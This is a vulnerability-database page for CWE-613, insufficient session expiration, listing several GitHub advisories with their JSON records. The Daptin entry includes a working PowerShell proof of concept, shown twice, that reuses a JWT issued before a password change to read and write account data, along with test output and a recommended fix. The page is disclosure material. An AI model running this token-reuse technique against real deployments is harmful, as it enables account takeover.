GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
Common Weakness Enumeration

CWE-613

Allowed-with-Review

Insufficient Session Expiration

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

According to WASC, "Insufficient Session Expiration is when a web site permits an attacker to reuse old session credentials or session IDs for authorization."

980 vulnerabilities reference this CWE, most recent first.

GHSA-24VJ-7479-5MQC

Vulnerability from github – Published: 2022-06-21 00:00 – Updated: 2022-06-29 00:00
VLAI
Details

IBM Curam Social Program Management 8.0.0 and 8.0.1 does not invalidate session after logout which could allow an authenticated user to impersonate another user on the system. IBM X-Force ID: 218281.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-22317"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-613"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-06-20T17:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "IBM Curam Social Program Management 8.0.0 and 8.0.1 does not invalidate session after logout which could allow an authenticated user to impersonate another user on the system. IBM X-Force ID: 218281.",
  "id": "GHSA-24vj-7479-5mqc",
  "modified": "2022-06-29T00:00:57Z",
  "published": "2022-06-21T00:00:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-22317"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/218281"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/6596049"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-257Q-PRHP-QGWP

Vulnerability from github – Published: 2026-08-07 00:31 – Updated: 2026-08-07 00:31
VLAI
Details

When internal roles are removed from a user within the WSO2 product, the system fails to invalidate any previously issued authentication tokens associated with that user.

This vulnerability could allow users to retain their previous access privileges even after their roles have been revoked. As a result, a user can continue to perform unauthorized actions or access restricted resources until the expired tokens naturally expire.

Severity
5.0 (Medium)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-12317"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-613"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-06T22:16:41Z",
    "severity": "MODERATE"
  },
  "details": "When internal roles are removed from a user within the WSO2 product, the system fails to invalidate any previously issued authentication tokens associated with that user.\n\nThis vulnerability could allow users to retain their previous access privileges even after their roles have been revoked. As a result, a user can continue to perform unauthorized actions or access restricted resources until the expired tokens naturally expire.",
  "id": "GHSA-257q-prhp-qgwp",
  "modified": "2026-08-07T00:31:13Z",
  "published": "2026-08-07T00:31:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-12317"
    },
    {
      "type": "WEB",
      "url": "https://security.docs.wso2.com/en/latest/security-announcements/security-advisories/2026/WSO2-2025-4672"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-258C-965C-P3HC

Vulnerability from github – Published: 2026-05-07 02:57 – Updated: 2026-05-07 02:57
VLAI
Summary
Daptin's Session Management Vulnerability Leads to Insufficient Session Expiration After Password Change
Details

Summary

A session invalidation vulnerability exists in daptin's authentication system where JSON Web Tokens (JWTs) remain fully valid after a user changes their password. The JWT validation middleware (CheckJWT) only verifies token signature, expiry, issuer, and signing algorithm — it does not check whether the token was issued before the most recent password change. The password update code path hashes the new password but never calls InvalidateAuthCacheForEmail() and never revokes or blacklists existing tokens. This effectively negating password rotation as an incident response control.

Vulnerable Files

  • daptin/server/jwt/jwtmiddleware.go — JWT validation without session versioning
  • daptin/server/resource/resource_update.go — password update without session invalidation
  • daptin/server/actions/action_generate_jwt_token.go — JWT claims lack password version
  • daptin/server/auth/auth.go — InvalidateAuthCacheForEmail exists but not called on update
  • daptin/server/resource/columns.go — password change action wiring

Vulnerable Code Snippet

1. JWT validation checks nothing beyond signature/expiry/issuer (jwtmiddleware.go:232-260):

// Now parse the token
parsedToken, err := jwt.Parse(token, m.Options.ValidationKeyGetter)

// Check if there was an error in parsing...
if err != nil {
    m.logf("Error parsing token: %v", err)
    m.Options.ErrorHandler(w, r, err.Error())
    return nil, fmt.Errorf("Error parsing token: %v", err)
}

if parsedToken.Claims.(jwt.MapClaims)["iss"] != m.Options.Issuer {
    return nil, fmt.Errorf("Invalid issuer: %v", parsedToken.Header["iss"])
}

if m.Options.SigningMethod != nil && m.Options.SigningMethod.Alg() != parsedToken.Header["alg"] {
    // ... algorithm check
}

// Check if the parsed token is valid...
if !parsedToken.Valid {
    m.logf("Token is invalid")
    m.Options.ErrorHandler(w, r, "The token isn't valid")
    return nil, errors.New("Token is invalid")
}

No check exists for password version, session version, or token revocation status. A token issued before a password change passes all these checks identically.

2. Password update hashes new password but never invalidates sessions (resource_update.go:282-287):

if col.ColumnType == "password" {
    val, err = BcryptHashString(val.(string))
    if err != nil {
        log.Errorf("Failed to convert string to bcrypt hash, not storing the value: %v", err)
        continue
    }
}

The new bcrypt hash is stored, but no call to auth.InvalidateAuthCacheForEmail() is made, and no token revocation mechanism is triggered.

3. JWT claims lack any password-bound claim (action_generate_jwt_token.go:74-83):

token := jwt.NewWithClaims(jwt.SigningMethodHS256, jwt.MapClaims{
    "email": existingUser["email"],
    "sub":   daptinid.InterfaceToDIR(existingUser["reference_id"]).String(),
    "name":  existingUser["name"],
    "nbf":   timeNow.Unix(),
    "exp":   timeNow.Add(time.Duration(d.tokenLifeTime) * time.Hour).Unix(),
    "iss":   d.jwtTokenIssuer,
    "iat":   timeNow.Unix(),
    "jti":   u.String(),
})

Claims include email, sub, name, nbf, exp, iss, iat, jti — but no pwd_version or equivalent claim that could be compared against a server-side value during validation.

4. InvalidateAuthCacheForEmail exists but is NOT called on password update (auth.go:520-530):

func InvalidateAuthCacheForEmail(email string) {
    if olricCache == nil {
        return
    }
    _, err := olricCache.Delete(context.Background(), email)
    if err != nil {
        log.Warnf("failed to invalidate auth cache for %s: %v", email, err)
    }
}

This function is called in resource_create.go:470, resource_delete.go:73, and dbmethods.go:1194 — but never in resource_update.go, which is the code path for password changes.

PoC (Proof of Concept)

Manual Exploitation Steps

  1. Create a user account on the daptin instance
  2. Sign in and capture the JWT (this becomes the "stolen" token)
  3. Change the user's password via PATCH /api/user_account/{id}
  4. Reuse the original JWT — it still returns HTTP 200 with full data access
  5. Confirm the old password no longer works for new login (password did change)
  6. Confirm the old token still allows write operations (full CRUD retained)

Result: HTTP 200 — write operations also succeed with the old token.

Automation PoC

# VULN-04: No Session Invalidation After Password Change
# CWE-613 | daptin v0.9.82
# Proves: old JWT stays valid after password change

$BASE = "http://127.0.0.1:6336"
Write-Host "`n===== VULN-04: Session Invalidation Test =====`n" -ForegroundColor Cyan

# Step 0: Clean restart
Write-Host "[0] Restarting container..." -ForegroundColor Yellow
docker compose -f "c:\Users\Vashu\Desktop\Projects\ZeroDay\cve_hunt\daptin\docker-compose.yml" restart daptin
Start-Sleep 8

# Step 1: Create victim user
Write-Host "[1] Creating victim user..." -ForegroundColor Yellow
$s = @{attributes=@{email='victim04@p.me';password='OrigPass123!';passwordConfirm='OrigPass123!';name='victim04'}} | ConvertTo-Json
try { Invoke-RestMethod -Uri "$BASE/action/user_account/signup" -Method Post -ContentType 'application/json' -Body $s | Out-Null } catch {}

# Step 2: Sign in, capture OLD token (simulates stolen token)
Write-Host "[2] Signing in for OLD token..." -ForegroundColor Yellow
$si = @{attributes=@{email='victim04@p.me';password='OrigPass123!'}} | ConvertTo-Json
$r = Invoke-RestMethod -Uri "$BASE/action/user_account/signin" -Method Post -ContentType 'application/json' -Body $si
$OLD = ($r | Where-Object {$_.ResponseType -eq 'client.store.set'}).Attributes.value
Write-Host "  OLD token captured (len=$($OLD.Length))" -ForegroundColor Green

# Step 3: Get victim ID
$ua = Invoke-RestMethod -Uri "$BASE/api/user_account" -Headers @{Authorization="Bearer $OLD"}
$ID = ($ua.data | Where-Object {$_.attributes.email -eq 'victim04@p.me'} | Select-Object -First 1).id
Write-Host "[3] Victim ID: $ID" -ForegroundColor Green

# Step 4: VICTIM CHANGES PASSWORD
Write-Host "[4] *** VICTIM CHANGES PASSWORD ***" -ForegroundColor Red
$p = @{data=@{type='user_account';id=$ID;attributes=@{password='NewPass456!'}}} | ConvertTo-Json -Depth 8
Invoke-RestMethod -Uri "$BASE/api/user_account/$ID" -Method Patch -Headers @{Authorization="Bearer $OLD"} -ContentType 'application/vnd.api+json' -Body $p | Out-Null
Write-Host "  Password changed." -ForegroundColor Green

# Step 5: OLD token still works?
Write-Host "[5] Testing OLD token after password change..." -ForegroundColor Red
try {
  $t = Invoke-RestMethod -Uri "$BASE/api/user_account" -Headers @{Authorization="Bearer $OLD"}
  Write-Host "  RESULT: OLD token STILL VALID (HTTP 200, $($t.data.Count) records)" -ForegroundColor Red
  Write-Host "  *** VULN CONFIRMED: Session NOT invalidated after password change ***" -ForegroundColor Red
} catch {
  Write-Host "  RESULT: OLD token REJECTED" -ForegroundColor Green
}

# Step 6: Write test with OLD token
Write-Host "[6] Write test with OLD token..." -ForegroundColor Yellow
try {
  $wp = @{data=@{type='user_account';id=$ID;attributes=@{name='hacked_by_old_token'}}} | ConvertTo-Json -Depth 8
  Invoke-RestMethod -Uri "$BASE/api/user_account/$ID" -Method Patch -Headers @{Authorization="Bearer $OLD"} -ContentType 'application/vnd.api+json' -Body $wp | Out-Null
  Write-Host "  WRITE SUCCEEDED with old token!" -ForegroundColor Red
} catch {
  Write-Host "  Write rejected" -ForegroundColor Green
}

# Step 7: New password works for login?
Write-Host "[7] New password login..." -ForegroundColor Yellow
$si2 = @{attributes=@{email='victim04@p.me';password='NewPass456!'}} | ConvertTo-Json
$r2 = Invoke-RestMethod -Uri "$BASE/action/user_account/signin" -Method Post -ContentType 'application/json' -Body $si2
$NEW = ($r2 | Where-Object {$_.ResponseType -eq 'client.store.set'}).Attributes.value
Write-Host "  New password login: SUCCESS" -ForegroundColor Green

# Step 8: Old password rejected for login?
Write-Host "[8] Old password login attempt..." -ForegroundColor Yellow
$si3 = @{attributes=@{email='victim04@p.me';password='OrigPass123!'}} | ConvertTo-Json
try {
  Invoke-RestMethod -Uri "$BASE/action/user_account/signin" -Method Post -ContentType 'application/json' -Body $si3 | Out-Null
  Write-Host "  Old password STILL WORKS (unexpected!)" -ForegroundColor Red
} catch {
  Write-Host "  Old password REJECTED (password change confirmed)" -ForegroundColor Green
}

# Step 9: Multi-token test
Write-Host "[9] Multi-token persistence test..." -ForegroundColor Yellow
$toks = @()
for ($i=0; $i -lt 3; $i++) {
  $rl = Invoke-RestMethod -Uri "$BASE/action/user_account/signin" -Method Post -ContentType 'application/json' -Body $si2
  $toks += ($rl | Where-Object {$_.ResponseType -eq 'client.store.set'}).Attributes.value
}
$p2 = @{data=@{type='user_account';id=$ID;attributes=@{password='ThirdPass789!'}}} | ConvertTo-Json -Depth 8
Invoke-RestMethod -Uri "$BASE/api/user_account/$ID" -Method Patch -Headers @{Authorization="Bearer $($toks[0])"} -ContentType 'application/vnd.api+json' -Body $p2 | Out-Null
Write-Host "  Password changed again. Testing all 3 pre-change tokens:"
for ($i=0; $i -lt $toks.Count; $i++) {
  try {
    Invoke-RestMethod -Uri "$BASE/api/user_account" -Headers @{Authorization="Bearer $($toks[$i])"} | Out-Null
    Write-Host "  Token $($i+1): STILL VALID" -ForegroundColor Red
  } catch {
    Write-Host "  Token $($i+1): REJECTED" -ForegroundColor Green
  }
}

# Step 10: JWT decode
Write-Host "`n[10] JWT Claims Analysis:" -ForegroundColor Yellow
if ($OLD) {
  $parts = $OLD.Split('.')
  $pl = $parts[1]
  $pad = 4 - ($pl.Length % 4)
  if ($pad -ne 4) { $pl += "=" * $pad }
  $pl = $pl.Replace("-","+").Replace("_","/")
  $bytes = [Convert]::FromBase64String($pl)
  $json = [Text.Encoding]::UTF8.GetString($bytes)
  Write-Host "  Payload: $json" -ForegroundColor Cyan
}
Write-Host "  Missing: pwd_version / session_version claim" -ForegroundColor Red
Write-Host "  Missing: token revocation on password change" -ForegroundColor Red

Write-Host "`n===== TEST COMPLETE =====" -ForegroundColor Cyan

Verified test output:

[5] Testing OLD token after password change...
  RESULT: OLD token STILL VALID (HTTP 200, 3 records)
  *** VULN CONFIRMED: Session NOT invalidated after password change ***

[6] Write test with OLD token...
  WRITE SUCCEEDED with old token!

[7] New password login...
  New password login: SUCCESS

[8] Old password login attempt...
  Old password REJECTED (password change confirmed)

[9] Multi-token persistence test...
  Password changed again. Testing all 3 pre-change tokens:
  Token 1: STILL VALID
  Token 2: STILL VALID
  Token 3: STILL VALID

[10] JWT Claims Analysis:
  Payload: {"email":"victim04@p.me","exp":1776591689,"iat":1776332489,
    "iss":"daptin-2eda69","jti":"d8e5e969-3ff4-41e9-a6c0-a63b3cf1534d",
    "name":"victim04","nbf":1776332489,"sub":"1a857f2e-42d2-4314-afe9-d782e1b84dbb"}
  Missing: pwd_version / session_version claim
  Missing: token revocation on password change

Recommended Fix

  1. Add a password_version column to the user_account table (integer, incremented on each password change)
  2. Include pwd_version in JWT claims at token generation time (action_generate_jwt_token.go:74)
  3. Check pwd_version during validation in CheckJWT() (jwtmiddleware.go:232-260) — compare the claim value against the current database value; reject if mismatched
  4. Call InvalidateAuthCacheForEmail() in resource_update.go when a password column is updated, to force the auth cache to re-fetch user state
Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/daptin/daptin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.11.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-613"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T02:57:54Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nA session invalidation vulnerability exists in daptin\u0027s authentication system where JSON Web Tokens (JWTs) remain fully valid after a user changes their password. The JWT validation middleware (`CheckJWT`) only verifies token signature, expiry, issuer, and signing algorithm \u2014 it does not check whether the token was issued before the most recent password change. The password update code path hashes the new password but never calls `InvalidateAuthCacheForEmail()` and never revokes or blacklists existing tokens. This effectively negating password rotation as an incident response control.\n\n#### Vulnerable Files\n\n* `daptin/server/jwt/jwtmiddleware.go` \u2014 JWT validation without session versioning\n* `daptin/server/resource/resource_update.go` \u2014 password update without session invalidation\n* `daptin/server/actions/action_generate_jwt_token.go` \u2014 JWT claims lack password version\n* `daptin/server/auth/auth.go` \u2014 `InvalidateAuthCacheForEmail` exists but not called on update\n* `daptin/server/resource/columns.go` \u2014 password change action wiring\n\n#### Vulnerable Code Snippet\n\n**1. JWT validation checks nothing beyond signature/expiry/issuer (jwtmiddleware.go:232-260):**\n\n```go\n// Now parse the token\nparsedToken, err := jwt.Parse(token, m.Options.ValidationKeyGetter)\n\n// Check if there was an error in parsing...\nif err != nil {\n    m.logf(\"Error parsing token: %v\", err)\n    m.Options.ErrorHandler(w, r, err.Error())\n    return nil, fmt.Errorf(\"Error parsing token: %v\", err)\n}\n\nif parsedToken.Claims.(jwt.MapClaims)[\"iss\"] != m.Options.Issuer {\n    return nil, fmt.Errorf(\"Invalid issuer: %v\", parsedToken.Header[\"iss\"])\n}\n\nif m.Options.SigningMethod != nil \u0026\u0026 m.Options.SigningMethod.Alg() != parsedToken.Header[\"alg\"] {\n    // ... algorithm check\n}\n\n// Check if the parsed token is valid...\nif !parsedToken.Valid {\n    m.logf(\"Token is invalid\")\n    m.Options.ErrorHandler(w, r, \"The token isn\u0027t valid\")\n    return nil, errors.New(\"Token is invalid\")\n}\n```\n\n**No check exists for password version, session version, or token revocation status.** A token issued before a password change passes all these checks identically.\n\n**2. Password update hashes new password but never invalidates sessions (resource_update.go:282-287):**\n\n```go\nif col.ColumnType == \"password\" {\n    val, err = BcryptHashString(val.(string))\n    if err != nil {\n        log.Errorf(\"Failed to convert string to bcrypt hash, not storing the value: %v\", err)\n        continue\n    }\n}\n```\n\nThe new bcrypt hash is stored, but no call to `auth.InvalidateAuthCacheForEmail()` is made, and no token revocation mechanism is triggered.\n\n**3. JWT claims lack any password-bound claim (action_generate_jwt_token.go:74-83):**\n\n```go\ntoken := jwt.NewWithClaims(jwt.SigningMethodHS256, jwt.MapClaims{\n    \"email\": existingUser[\"email\"],\n    \"sub\":   daptinid.InterfaceToDIR(existingUser[\"reference_id\"]).String(),\n    \"name\":  existingUser[\"name\"],\n    \"nbf\":   timeNow.Unix(),\n    \"exp\":   timeNow.Add(time.Duration(d.tokenLifeTime) * time.Hour).Unix(),\n    \"iss\":   d.jwtTokenIssuer,\n    \"iat\":   timeNow.Unix(),\n    \"jti\":   u.String(),\n})\n```\n\nClaims include `email`, `sub`, `name`, `nbf`, `exp`, `iss`, `iat`, `jti` \u2014 but **no `pwd_version`** or equivalent claim that could be compared against a server-side value during validation.\n\n**4. InvalidateAuthCacheForEmail exists but is NOT called on password update (auth.go:520-530):**\n\n```go\nfunc InvalidateAuthCacheForEmail(email string) {\n    if olricCache == nil {\n        return\n    }\n    _, err := olricCache.Delete(context.Background(), email)\n    if err != nil {\n        log.Warnf(\"failed to invalidate auth cache for %s: %v\", email, err)\n    }\n}\n```\n\nThis function is called in `resource_create.go:470`, `resource_delete.go:73`, and `dbmethods.go:1194` \u2014 but **never** in `resource_update.go`, which is the code path for password changes.\n\n### PoC (Proof of Concept)\n\n#### Manual Exploitation Steps\n\n1. Create a user account on the daptin instance\n2. Sign in and capture the JWT (this becomes the \"stolen\" token)\n3. Change the user\u0027s password via `PATCH /api/user_account/{id}`\n4. Reuse the original JWT \u2014 it still returns `HTTP 200` with full data access\n5. Confirm the old password no longer works for new login (password did change)\n6. Confirm the old token still allows write operations (full CRUD retained)\n\n**Result: `HTTP 200`** \u2014 write operations also succeed with the old token.\n\n#### Automation PoC\n\n```\n# VULN-04: No Session Invalidation After Password Change\n# CWE-613 | daptin v0.9.82\n# Proves: old JWT stays valid after password change\n\n$BASE = \"http://127.0.0.1:6336\"\nWrite-Host \"`n===== VULN-04: Session Invalidation Test =====`n\" -ForegroundColor Cyan\n\n# Step 0: Clean restart\nWrite-Host \"[0] Restarting container...\" -ForegroundColor Yellow\ndocker compose -f \"c:\\Users\\Vashu\\Desktop\\Projects\\ZeroDay\\cve_hunt\\daptin\\docker-compose.yml\" restart daptin\nStart-Sleep 8\n\n# Step 1: Create victim user\nWrite-Host \"[1] Creating victim user...\" -ForegroundColor Yellow\n$s = @{attributes=@{email=\u0027victim04@p.me\u0027;password=\u0027OrigPass123!\u0027;passwordConfirm=\u0027OrigPass123!\u0027;name=\u0027victim04\u0027}} | ConvertTo-Json\ntry { Invoke-RestMethod -Uri \"$BASE/action/user_account/signup\" -Method Post -ContentType \u0027application/json\u0027 -Body $s | Out-Null } catch {}\n\n# Step 2: Sign in, capture OLD token (simulates stolen token)\nWrite-Host \"[2] Signing in for OLD token...\" -ForegroundColor Yellow\n$si = @{attributes=@{email=\u0027victim04@p.me\u0027;password=\u0027OrigPass123!\u0027}} | ConvertTo-Json\n$r = Invoke-RestMethod -Uri \"$BASE/action/user_account/signin\" -Method Post -ContentType \u0027application/json\u0027 -Body $si\n$OLD = ($r | Where-Object {$_.ResponseType -eq \u0027client.store.set\u0027}).Attributes.value\nWrite-Host \"  OLD token captured (len=$($OLD.Length))\" -ForegroundColor Green\n\n# Step 3: Get victim ID\n$ua = Invoke-RestMethod -Uri \"$BASE/api/user_account\" -Headers @{Authorization=\"Bearer $OLD\"}\n$ID = ($ua.data | Where-Object {$_.attributes.email -eq \u0027victim04@p.me\u0027} | Select-Object -First 1).id\nWrite-Host \"[3] Victim ID: $ID\" -ForegroundColor Green\n\n# Step 4: VICTIM CHANGES PASSWORD\nWrite-Host \"[4] *** VICTIM CHANGES PASSWORD ***\" -ForegroundColor Red\n$p = @{data=@{type=\u0027user_account\u0027;id=$ID;attributes=@{password=\u0027NewPass456!\u0027}}} | ConvertTo-Json -Depth 8\nInvoke-RestMethod -Uri \"$BASE/api/user_account/$ID\" -Method Patch -Headers @{Authorization=\"Bearer $OLD\"} -ContentType \u0027application/vnd.api+json\u0027 -Body $p | Out-Null\nWrite-Host \"  Password changed.\" -ForegroundColor Green\n\n# Step 5: OLD token still works?\nWrite-Host \"[5] Testing OLD token after password change...\" -ForegroundColor Red\ntry {\n  $t = Invoke-RestMethod -Uri \"$BASE/api/user_account\" -Headers @{Authorization=\"Bearer $OLD\"}\n  Write-Host \"  RESULT: OLD token STILL VALID (HTTP 200, $($t.data.Count) records)\" -ForegroundColor Red\n  Write-Host \"  *** VULN CONFIRMED: Session NOT invalidated after password change ***\" -ForegroundColor Red\n} catch {\n  Write-Host \"  RESULT: OLD token REJECTED\" -ForegroundColor Green\n}\n\n# Step 6: Write test with OLD token\nWrite-Host \"[6] Write test with OLD token...\" -ForegroundColor Yellow\ntry {\n  $wp = @{data=@{type=\u0027user_account\u0027;id=$ID;attributes=@{name=\u0027hacked_by_old_token\u0027}}} | ConvertTo-Json -Depth 8\n  Invoke-RestMethod -Uri \"$BASE/api/user_account/$ID\" -Method Patch -Headers @{Authorization=\"Bearer $OLD\"} -ContentType \u0027application/vnd.api+json\u0027 -Body $wp | Out-Null\n  Write-Host \"  WRITE SUCCEEDED with old token!\" -ForegroundColor Red\n} catch {\n  Write-Host \"  Write rejected\" -ForegroundColor Green\n}\n\n# Step 7: New password works for login?\nWrite-Host \"[7] New password login...\" -ForegroundColor Yellow\n$si2 = @{attributes=@{email=\u0027victim04@p.me\u0027;password=\u0027NewPass456!\u0027}} | ConvertTo-Json\n$r2 = Invoke-RestMethod -Uri \"$BASE/action/user_account/signin\" -Method Post -ContentType \u0027application/json\u0027 -Body $si2\n$NEW = ($r2 | Where-Object {$_.ResponseType -eq \u0027client.store.set\u0027}).Attributes.value\nWrite-Host \"  New password login: SUCCESS\" -ForegroundColor Green\n\n# Step 8: Old password rejected for login?\nWrite-Host \"[8] Old password login attempt...\" -ForegroundColor Yellow\n$si3 = @{attributes=@{email=\u0027victim04@p.me\u0027;password=\u0027OrigPass123!\u0027}} | ConvertTo-Json\ntry {\n  Invoke-RestMethod -Uri \"$BASE/action/user_account/signin\" -Method Post -ContentType \u0027application/json\u0027 -Body $si3 | Out-Null\n  Write-Host \"  Old password STILL WORKS (unexpected!)\" -ForegroundColor Red\n} catch {\n  Write-Host \"  Old password REJECTED (password change confirmed)\" -ForegroundColor Green\n}\n\n# Step 9: Multi-token test\nWrite-Host \"[9] Multi-token persistence test...\" -ForegroundColor Yellow\n$toks = @()\nfor ($i=0; $i -lt 3; $i++) {\n  $rl = Invoke-RestMethod -Uri \"$BASE/action/user_account/signin\" -Method Post -ContentType \u0027application/json\u0027 -Body $si2\n  $toks += ($rl | Where-Object {$_.ResponseType -eq \u0027client.store.set\u0027}).Attributes.value\n}\n$p2 = @{data=@{type=\u0027user_account\u0027;id=$ID;attributes=@{password=\u0027ThirdPass789!\u0027}}} | ConvertTo-Json -Depth 8\nInvoke-RestMethod -Uri \"$BASE/api/user_account/$ID\" -Method Patch -Headers @{Authorization=\"Bearer $($toks[0])\"} -ContentType \u0027application/vnd.api+json\u0027 -Body $p2 | Out-Null\nWrite-Host \"  Password changed again. Testing all 3 pre-change tokens:\"\nfor ($i=0; $i -lt $toks.Count; $i++) {\n  try {\n    Invoke-RestMethod -Uri \"$BASE/api/user_account\" -Headers @{Authorization=\"Bearer $($toks[$i])\"} | Out-Null\n    Write-Host \"  Token $($i+1): STILL VALID\" -ForegroundColor Red\n  } catch {\n    Write-Host \"  Token $($i+1): REJECTED\" -ForegroundColor Green\n  }\n}\n\n# Step 10: JWT decode\nWrite-Host \"`n[10] JWT Claims Analysis:\" -ForegroundColor Yellow\nif ($OLD) {\n  $parts = $OLD.Split(\u0027.\u0027)\n  $pl = $parts[1]\n  $pad = 4 - ($pl.Length % 4)\n  if ($pad -ne 4) { $pl += \"=\" * $pad }\n  $pl = $pl.Replace(\"-\",\"+\").Replace(\"_\",\"/\")\n  $bytes = [Convert]::FromBase64String($pl)\n  $json = [Text.Encoding]::UTF8.GetString($bytes)\n  Write-Host \"  Payload: $json\" -ForegroundColor Cyan\n}\nWrite-Host \"  Missing: pwd_version / session_version claim\" -ForegroundColor Red\nWrite-Host \"  Missing: token revocation on password change\" -ForegroundColor Red\n\nWrite-Host \"`n===== TEST COMPLETE =====\" -ForegroundColor Cyan\n```\n\n**Verified test output:**\n\n```\n[5] Testing OLD token after password change...\n  RESULT: OLD token STILL VALID (HTTP 200, 3 records)\n  *** VULN CONFIRMED: Session NOT invalidated after password change ***\n\n[6] Write test with OLD token...\n  WRITE SUCCEEDED with old token!\n\n[7] New password login...\n  New password login: SUCCESS\n\n[8] Old password login attempt...\n  Old password REJECTED (password change confirmed)\n\n[9] Multi-token persistence test...\n  Password changed again. Testing all 3 pre-change tokens:\n  Token 1: STILL VALID\n  Token 2: STILL VALID\n  Token 3: STILL VALID\n\n[10] JWT Claims Analysis:\n  Payload: {\"email\":\"victim04@p.me\",\"exp\":1776591689,\"iat\":1776332489,\n    \"iss\":\"daptin-2eda69\",\"jti\":\"d8e5e969-3ff4-41e9-a6c0-a63b3cf1534d\",\n    \"name\":\"victim04\",\"nbf\":1776332489,\"sub\":\"1a857f2e-42d2-4314-afe9-d782e1b84dbb\"}\n  Missing: pwd_version / session_version claim\n  Missing: token revocation on password change\n```\n\n## Recommended Fix\n\n1. **Add a `password_version` column** to the `user_account` table (integer, incremented on each password change)\n2. **Include `pwd_version` in JWT claims** at token generation time (`action_generate_jwt_token.go:74`)\n3. **Check `pwd_version` during validation** in `CheckJWT()` (`jwtmiddleware.go:232-260`) \u2014 compare the claim value against the current database value; reject if mismatched\n4. **Call `InvalidateAuthCacheForEmail()`** in `resource_update.go` when a password column is updated, to force the auth cache to re-fetch user state",
  "id": "GHSA-258c-965c-p3hc",
  "modified": "2026-05-07T02:57:54Z",
  "published": "2026-05-07T02:57:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/daptin/daptin/security/advisories/GHSA-258c-965c-p3hc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/daptin/daptin"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Daptin\u0027s Session Management Vulnerability Leads to Insufficient Session Expiration After Password Change"
}

GHSA-25XC-R4X7-G46H

Vulnerability from github – Published: 2022-11-22 03:30 – Updated: 2025-04-29 18:30
VLAI
Details

Fusiondirectory 1.3 suffers from Improper Session Handling.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-36179"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-613"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-11-22T01:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Fusiondirectory 1.3 suffers from Improper Session Handling.",
  "id": "GHSA-25xc-r4x7-g46h",
  "modified": "2025-04-29T18:30:40Z",
  "published": "2022-11-22T03:30:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-36179"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2023/07/msg00009.html"
    },
    {
      "type": "WEB",
      "url": "https://yoroi.company/research/cve-advisory-full-disclosure-multiple-vulnerabilities"
    },
    {
      "type": "WEB",
      "url": "http://fusiondirectory.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-26XR-J83G-4FMM

Vulnerability from github – Published: 2026-03-06 18:31 – Updated: 2026-05-05 21:31
VLAI
Details

The WebSocket backend uses charging station identifiers to uniquely associate sessions but allows multiple endpoints to connect using the same session identifier. This implementation results in predictable session identifiers and enables session hijacking or shadowing, where the most recent connection displaces the legitimate charging station and receives backend commands intended for that station. This vulnerability may allow unauthorized users to authenticate as other users or enable a malicious actor to cause a denial-of-service condition by overwhelming the backend with valid session requests.

Severity
7.3 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-27764"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-613"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-06T16:16:11Z",
    "severity": "MODERATE"
  },
